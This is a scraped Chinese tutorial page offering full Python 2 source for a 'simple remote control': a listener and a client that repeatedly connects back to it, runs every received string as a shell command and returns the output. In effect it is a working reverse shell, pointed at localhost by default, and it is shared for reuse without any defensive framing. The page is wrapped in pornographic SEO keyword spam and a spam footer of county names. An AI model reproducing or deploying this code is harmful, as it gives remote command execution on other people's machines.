国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

python簡易遠程控制單線程版

2020-02-15 21:56:41
字體:
來源:轉載
供稿:網友

本文實例為大家分享了python簡易遠程控制的具體代碼,供大家參考,具體內容如下

1. 技術:管道通信,流文件處理,socket基礎

2. Tips:

默認IP:127.0.0.1

默認端口:7676

3. 代碼樣例:

服務端:

#!/usr/bin/env python  # encoding: utf-8   import socket import sys from os import *  reload(sys)  sys.setdefaultencoding("utf-8")   def socketInit():   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)   return s  def socketDeal(s,HOST,PORT):   s.bind((HOST,PORT))   s.listen(1)  def ControlModule(sS,addr):   recv_buffer = sS.recv(20048)   if recv_buffer == "[-]Error:Server is OFF" or recv_buffer == "[*]Server is OFF":     print recv_buffer     sys.exit(0)   else:     print recv_buffer   send_buf = raw_input(addr[0]+">")   sS.send(send_buf)   def main():   HOST = "127.0.0.1"   PORT = 7676   s = socketInit()   socketDeal(s, HOST, PORT)   sS,addr = s.accept()   print "Connect from " + addr[0] + ":" + repr(addr[1])   try:     while True:       ControlModule(sS,addr)   except Exception as e:     print "[-]Connect Error"     sS.close()     s.close()     sys.exit(-1)   except KeyboardInterrupt:     sS.close()     s.close()     sys.exit(0)  if __name__ == '__main__':   main() 

受控端:

#!/usr/bin/env python  # encoding: utf-8   import socket import sys import re import traceback import tempfile from os import * from subprocess import *  reload(sys)  sys.setdefaultencoding("utf-8")   def socketInit():   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)   return s  def socketConn(s,HOST,PORT):   while True:     try:       s.connect((HOST,PORT))     except Exception as e:       continue     else:       s.send("Welcome Sir ~")       break   def String_Deal(recv,send):   P_str = re.findall("cd(.*)|(/w):", recv)   if P_str!=[] and send == "":     if P_str[0][0]!="":       try:         chdir(P_str[0][0].strip())       except Exception as e:         flag = -1       else:         flag = 1     else:       try:         chdir(recv)       except Exception as e:         #traceback.print_exc()         flag = -1       else:         flag = 1   else:     if send == "":       flag = 1     else:       flag = 0   return flag  def OpenProcess(s):   try:     while True:       recv_buf = s.recv(2048)       #流文件技術,防止管道阻塞       out_temp = tempfile.SpooledTemporaryFile(bufsize=10*1000)       fileNo = out_temp.fileno()       cmd = Popen(recv_buf, shell=True,stdin=PIPE, stdout=fileNo, stderr=STDOUT)       cmd.wait()       out_temp.seek(0)       send_buf = out_temp.read()       #print len(send_buf)       #輸入命令字符串處理識別       flag = String_Deal(recv_buf,send_buf)       if flag == 1:         s.send("OK")       elif flag == -1:         s.send("Error!!")       else:         s.send(send_buf)       send_buf = ""   except Exception as e:     try:       s.send("[-]Error:Server is OFF")     except Exception as e:       pass       s.close()     sys.exit(-1)       except KeyboardInterrupt:     try:       s.send("[*]Server is OFF")     except Exception as e:       pass     s.close()     sys.exit(0)  def main():   flag = 0   HOST = "127.0.0.1"   PORT = 7676   s = socketInit()   socketConn(s, HOST, PORT)   OpenProcess(s)   if __name__ == '__main__':   main()             
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 罗平县| 兴宁市| 谷城县| 区。| 通河县| 高阳县| 彝良县| 鱼台县| 东阿县| 岳普湖县| 昆山市| 清新县| 邵东县| 慈利县| 寻乌县| 台州市| 蛟河市| 奇台县| 揭西县| 满洲里市| 抚松县| 栾城县| 田阳县| 隆化县| 桦南县| 扶沟县| 和硕县| 南平市| 卓尼县| 河曲县| 新沂市| 武平县| 翁牛特旗| 石景山区| 仙居县| 宝鸡市| 平果县| 平塘县| 张家口市| 永嘉县| 永新县|